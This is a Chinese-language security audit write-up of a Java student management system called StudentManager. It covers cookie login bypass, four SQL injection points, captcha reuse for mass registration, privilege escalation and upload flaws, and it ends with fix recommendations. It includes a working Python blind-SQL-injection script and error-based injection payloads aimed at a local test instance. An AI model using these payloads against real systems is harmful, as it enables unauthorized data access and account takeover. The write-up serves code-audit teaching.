java代码审计之StudentManager
字数 1232 2025-08-24 20:49:22
Java代码审计实战:StudentManager系统漏洞分析与利用
1. 系统概述
StudentManager是一个基于Java的学生管理系统,存在多处安全漏洞,包括:
- Cookie绕过登录验证
- SQL注入漏洞(4处)
- 任意用户注册
- 越权操作(修改其他用户信息)
- 文件上传漏洞
2. 漏洞详细分析
2.1 Cookie绕过登录验证
漏洞位置:index.jsp页面
漏洞分析:
- 系统遍历获取cookie,检查是否存在"name"键
- 如果存在,则调用
findWithId()函数验证用户 findWithId()函数直接拼接SQL语句查询用户- 验证通过后根据用户类型跳转到不同页面
利用方法:
GET /index.jsp HTTP/1.1
Host: localhost:8080
Cookie: name=123
2.2 SQL注入漏洞(共4处)
注入点1:findWithId()函数
位置:index.jsp调用的findWithId()函数
特点:
- 盲注类型
- 需要绕过空格和逗号限制
利用脚本:
import requests
import string
charset = ",@" + string.digits + string.ascii_letters + string.punctuation
def r(s):
return s.replace(" ", "/**/").replace(",", "/**/")
sql = "database()"
result = ""
for i in range(1,100):
for c in charset:
cc = ord(c)
cookie = f"name=123'/**/and/**/ascii(substring({sql}/**/from/**/{i}))={cc}#"
headers = {"cookie": cookie}
r = requests.get("http://localhost:8080/index.jsp", headers=headers, allow_redirects=False)
if "one_page_student" in r.headers.get('Location', ''):
result += c
print(result)
break
注入点2:登录处(check_login)
位置:login.jsp调用的check_login功能
利用方法:
- 万能密码:
123'# - 报错注入:
user=123'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))# password=任意值
注入点3:个人信息修改处
位置:update_teacher功能
利用方法:
uid=zzu'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))#
name=zzu
sex=男
email=123@test.com
password=123456
注入点4:学生管理搜索处
位置:one_page_student功能
利用方法:
key=1111'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))#
2.3 任意用户注册
漏洞位置:注册功能(check_register)
漏洞分析:
- 验证码存储在session中
- 未设置验证码失效时间
- 可重复使用同一验证码注册多个用户
利用方法:
- 注册用户qwe,获取验证码
- 修改用户名(qwe1, qwe2等)重复提交
2.4 越权操作
修改其他用户头像
位置:文件上传功能
利用方法:
- 登录用户A
- 上传头像时修改id参数为其他用户ID
修改其他用户信息
位置:update_teacher功能
利用方法:
- 登录用户A
- 修改个人信息时修改uid参数为其他用户ID
2.5 文件上传漏洞
位置:头像上传功能
潜在利用:
- 目录穿越:尝试使用
../跳转目录 - 文件覆盖:通过修改id参数覆盖其他用户文件
3. 漏洞修复建议
-
SQL注入防护:
- 使用预编译语句(PreparedStatement)
- 实施参数化查询
- 对输入进行严格过滤
-
认证与会话管理:
- 实现完整的登录验证机制
- 不要仅依赖Cookie验证
- 设置验证码有效期
-
权限控制:
- 实施严格的权限验证
- 检查用户是否有权修改目标数据
-
文件上传安全:
- 限制上传文件类型
- 对文件名进行严格过滤
- 不要使用用户可控参数作为文件路径
-
日志与监控:
- 记录关键操作日志
- 监控异常行为
4. 总结
StudentManager系统存在典型的安全问题:
- 前端验证不可靠
- 缺乏服务端验证
- SQL语句拼接风险
- 权限控制缺失
- 会话管理不完善
通过本案例可以学习到Java Web应用常见的安全漏洞及利用方法,对提高代码审计能力有很大帮助。